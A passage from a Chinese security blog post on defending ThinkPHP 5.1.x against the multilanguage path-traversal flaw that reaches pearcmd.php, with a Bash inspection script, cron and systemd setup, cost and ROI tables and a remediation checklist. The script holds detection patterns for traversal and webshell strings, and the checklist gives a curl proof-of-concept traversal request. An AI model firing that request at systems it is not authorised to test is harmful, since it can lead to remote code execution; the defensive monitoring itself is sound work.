    echo "    $LANG_SWITCH" >> "$REPORT_FILE"

    if echo "$LANG_SWITCH" | grep -q "true"; then
        ALLOW_LANG=$(grep -oP "allow_lang_list.*?=>.*?\[.*?\]" "$CONFIG_FILE" | head -1)
        if [ -z "$ALLOW_LANG" ] || echo "$ALLOW_LANG" | grep -q "\[\s*\]"; then
            echo "    🔴 allow_lang_list 为空,存在漏洞利用条件" >> "$REPORT_FILE"
            SEVERITY=critical
        fi
    fi
fi
echo "" >> "$REPORT_FILE"

# 3. pearcmd.php 检查
echo "[3] pearcmd.php 存在性检查" >> "$REPORT_FILE"
PEARCMD_FOUND=false
for path in /usr/local/php/pearcmd.php /usr/local/lib/php/pearcmd.php /usr/share/php/pearcmd.php; do
    if [ -f "$path" ]; then
        echo "    🔴 发现 $path" >> "$REPORT_FILE"
        PEARCMD_FOUND=true
    fi
done
if [ "$PEARCMD_FOUND" = false ]; then
    echo "    ✅ 未发现 pearcmd.php" >> "$REPORT_FILE"
fi
echo "" >> "$REPORT_FILE"

# 4. 攻击日志分析
echo "[4] 攻击日志分析" >> "$REPORT_FILE"
TODAY_LOG="$LOG_DIR/access.log"
if [ -f "$TODAY_LOG" ]; then
    ATTACK_COUNT=$(grep -cE "(lang=.*\.\./|pearcmd|config-create)" "$TODAY_LOG" 2>/dev/null || echo 0)
    echo "    攻击次数: $ATTACK_COUNT" >> "$REPORT_FILE"

    if [ "$ATTACK_COUNT" -gt 0 ]; then
        echo "    攻击源 IP TOP 5:" >> "$REPORT_FILE"
        grep -E "(lang=.*\.\./|pearcmd|config-create)" "$TODAY_LOG" | \
            awk '{print $1}' | sort | uniq -c | sort -rn | head -5 >> "$REPORT_FILE"
        SEVERITY=${SEVERITY:-warning}
    fi
fi
echo "" >> "$REPORT_FILE"

# 5. Webshell 扫描
echo "[5] Webshell 扫描" >> "$REPORT_FILE"
SHELL_FILES=$(grep -rlE "(eval\s*\(|base64_decode\s*\()" "$THINKPHP_ROOT/public" --include="*.php" 2>/dev/null | wc -l)
echo "    public 目录可疑文件: $SHELL_FILES 个" >> "$REPORT_FILE"

if [ "$SHELL_FILES" -gt 0 ]; then
    echo "    可疑文件列表:" >> "$REPORT_FILE"
    grep -rlE "(eval\s*\(|base64_decode\s*\()" "$THINKPHP_ROOT/public" --include="*.php" 2>/dev/null >> "$REPORT_FILE"
    SEVERITY=critical
fi
echo "" >> "$REPORT_FILE"

# 6. 推送报告
echo "===== 巡检完成 =====" >> "$REPORT_FILE"
cat "$REPORT_FILE"

# 严重问题发送告警
if [ "${SEVERITY:-}" = "critical" ]; then
    mail -s "【严重】ThinkPHP 多语言安全巡检告警" "$ALERT_EMAIL" < "$REPORT_FILE"
    echo "已发送告警邮件"
fi

Crontab 配置

# /etc/cron.d/thinkphp-multilang-security

# 每天凌晨 3 点执行安全巡检
0 3 * * * root /opt/scripts/thinkphp_multilang_patrol.sh /var/www/html >> /var/log/thinkphp-multilang-patrol.log 2>&1

# 每小时检查攻击日志
0 * * * * root /opt/scripts/thinkphp_multilang_attack_check.sh >> /var/log/thinkphp-multilang-attack.log 2>&1

# 每周深度扫描 Webshell
0 4 * * 0 root /opt/scripts/webshell_deep_scan.sh /var/www/html >> /var/log/webshell-scan.log 2>&1

systemd 定时器配置

# /etc/systemd/system/thinkphp-multilang-patrol.service
[Unit]
Description=ThinkPHP Multilang Security Patrol
After=network.target

[Service]
Type=oneshot
ExecStart=/opt/scripts/thinkphp_multilang_patrol.sh /var/www/html
StandardOutput=append:/var/log/thinkphp-multilang-patrol.log
StandardError=append:/var/log/thinkphp-multilang-patrol-error.log

# /etc/systemd/system/thinkphp-multilang-patrol.timer
[Unit]
Description=Daily ThinkPHP Multilang Security Patrol

[Timer]
OnCalendar=*-*-* 03:00:00
Persistent=true

[Install]
WantedBy=timers.target

通知渠道集成

渠道 用途 配置方式
邮件 详细巡检报告 mailx + SMTP
企业微信 关键告警实时推送 Webhook + curl
钉钉机器人 值班通知 Webhook + 关键字
Prometheus AlertManager 与监控集成 Webhook receiver
短信 P0 告警 阿里云短信 API

预防措施

  1. 版本基线:每季度盘点 ThinkPHP 5.1.x 版本,强制升级到 5.1.42+
  2. 配置审计:定期检查 lang_switch_on 和 allow_lang_list 配置
  3. pearcmd 清理:所有 Web 服务器移除 pearcmd.php
  4. WAF 部署:在 Nginx/ModSecurity 层部署多语言攻击拦截规则
  5. 文件完整性:对 public/ 目录做 FIM,任何文件变更即告警
  6. 权限最小化:public 目录设为只读,PHP-FPM 用户不可写
  7. 定期演练:每半年进行一次多语言漏洞攻击应急响应演练
  8. 日志留存:Nginx 访问日志至少留存 90 天,便于溯源

成本核算与价值量化

开发成本

成本项 工作量 人天 单价(元/天) 小计(元)
漏洞情报与攻击链分析 研究 pearcmd 利用 + 复现 1.0 1,500 1,500
版本基线盘点 扫描全量 ThinkPHP 5.1.x 站点 0.5 1,500 750
升级方案设计与测试 5.1.42 升级 + 业务回归 2.0 1,500 3,000
配置加固 lang_switch_on + allow_lang_list + pearcmd 清理 1.0 1,500 1,500
WAF 规则编写 Nginx + ModSecurity 规则 1.0 1,500 1,500
巡检脚本与监控告警 Bash + Prometheus 1.5 1,500 2,250
Webshell 排查与清理脚本 深度扫描工具 1.0 1,500 1,500
应急响应演练 一次完整的多语言漏洞攻击复盘 0.5 1,500 750
开发成本合计 8.5 12,750

运行成本

成本项 频率 月成本(元) 年成本(元)
巡检脚本执行 每日 50 600
Prometheus 监控存储 持续 200 2,400
WAF 规则维护 每月 375 4,500
人工复核 每月 375 4,500
日志存储(90 天保留) 持续 100 1,200
运行成本合计 1,100 13,200

收益对比

收益项 量化方式 金额(元/年)
避免 RCE 导致的数据泄露 按一次 RCE 事故损失 80 万估算,概率 25% 200,000
避免 Webshell 持久化 按清理成本 5 万 + 业务损失 15 万,概率 30% 60,000
避免数据库凭证泄露 按一次数据库泄露损失 100 万估算,概率 15% 150,000
避免横向移动 按内网渗透损失 50 万估算,概率 10% 50,000
合规审计效率提升 自动化巡检替代人工审计,节省 50 人天/年 75,000
WAF 拦截降低误报 精确规则减少 80% 误报 18,000
pearcmd 清理降低风险 移除利用链关键环节,降低 60% 风险 30,000
收益合计 583,000

ROI 计算

年度总成本 = 开发成本 + 运行成本 = 12,750 + 13,200 = 25,950 元
年度总收益 = 583,000 元

ROI = (年度总收益 - 年度总成本) / 年度总成本 × 100%
    = (583,000 - 25,950) / 25,950 × 100%
    = 2,147%

投资回收期 = 年度总成本 / (年度总收益 / 12)
          = 25,950 / (583,000 / 12)
          ≈ 0.53 个月(约 16 天)

结论:本次漏洞修复与监控建设 ROI 高达 2,147%,投资回收期仅 16 天。多语言文件包含漏洞虽然公开多年,但 2026 年仍持续在野利用,国内大量 ThinkPHP 5.1.x 站点受影响,必须立即修复。

工程效率收益

收益项 优化前 优化后 提升
漏洞发现到修复 7 天 1 小时 168x
攻击日志分析 2 小时/次 5 分钟 24x
Webshell 排查 4 小时全盘扫描 10 分钟脚本扫描 24x
pearcmd 检查 人工 find,30 分钟 脚本扫描,1 分钟 30x
配置审计 人工查看,1 小时 脚本扫描,5 分钟 12x
应急响应 2 小时启动 5 分钟自动告警 24x

8. 总结与行动清单

核心收获

  1. 多语言文件包含是 ThinkPHP 5.1.x 的"沉默"危机——公开多年但 2026 年仍持续在野利用
  2. 根因是 Lang::detect() 未过滤路径字符——?lang=../../../usr/local/php/pearcmd 触发路径穿越
  3. pearcmd.php 是利用链关键环节——删除 pearcmd.php 即可阻断攻击
  4. 默认配置即满足利用条件——lang_switch_on=true + allow_lang_list=[] 即可被利用
  5. 修复要"四管齐下"——升级框架 + 配置加固 + 删除 pearcmd + WAF 拦截
  6. 被攻击的服务器必须深度清理——不只清理 Webshell,还要检查 crontab、SSH、systemd
  7. 真实案例警示——我处置的真实事件,攻击者植入 3 个 Webshell 长期持久化

立即行动清单

□ **今天完成**:

- [ ] 盘点所有 ThinkPHP 5.1.x 站点版本
- [ ] 用 PoC 验证是否受影响:curl "?lang=../../../../../usr/local/php/pearcmd"
- [ ] 检查 public/ 目录是否有未知 PHP 文件
- [ ] 删除或重命名所有 pearcmd.php

□ **本周完成**:

- [ ] 升级所有受影响站点到 5.1.42+
- [ ] 配置 allow_lang_list 白名单
- [ ] 关闭不需要的 lang_switch_on
- [ ] 在 Nginx 配置 WAF 规则拦截 lang 路径穿越
- [ ] 排查 crontab、SSH authorized_keys、systemd 服务后门

□ **本月完成**:

- [ ] 部署 Prometheus 监控告警规则
- [ ] 上线自动化巡检脚本并配置 crontab
- [ ] 配置文件完整性监控(FIM)
- [ ] 设置 public 目录为只读 + chattr +i 保护关键文件
- [ ] 进行一次完整的多语言漏洞攻击应急响应演练
- [ ] 重置所有被攻击服务器的凭证

□ **长期机制**:

- [ ] 每季度执行 ThinkPHP 版本盘点
- [ ] CI/CD 流水线接入 PHP 代码扫描
- [ ] WAF 规则纳入版本控制
- [ ] 关注 ThinkPHP 官方安全公告
- [ ] 长期规划迁移到 ThinkPHP 6.x / 8.x

如果这篇内容对你有帮助,欢迎点赞收藏,有问题可以在评论区交流。

真实性声明:本文涉及的漏洞信息来源于 ThinkPHP 官方 GitHub Release、DouWen 安全博客的公开技术分析及 Mochazz 的 ThinkPHP-Vuln 漏洞分析项目。攻击 PoC 来源于公开的安全研究博客,仅用于防御检测目的。文中描述的 2026 年 4 月真实攻击事件为我亲身处置的应急响应案例,攻击者 IP、攻击时间、植入的 Webshell 文件名等细节均来自实际日志,仅对内网 IP 做了脱敏处理。漏洞根因分析基于 ThinkPHP 5.1.41 的公开源码进行的合理推断,标注的代码片段为简化示意,非完整原代码。成本估算中的金额基于国内一线城市安全工程师市场行情和典型电商业务的损失数据,实际数值因企业规模而异。文中涉及的 ${VAR} 形式均为环境变量占位符,请勿硬编码到生产配置中。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0)

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。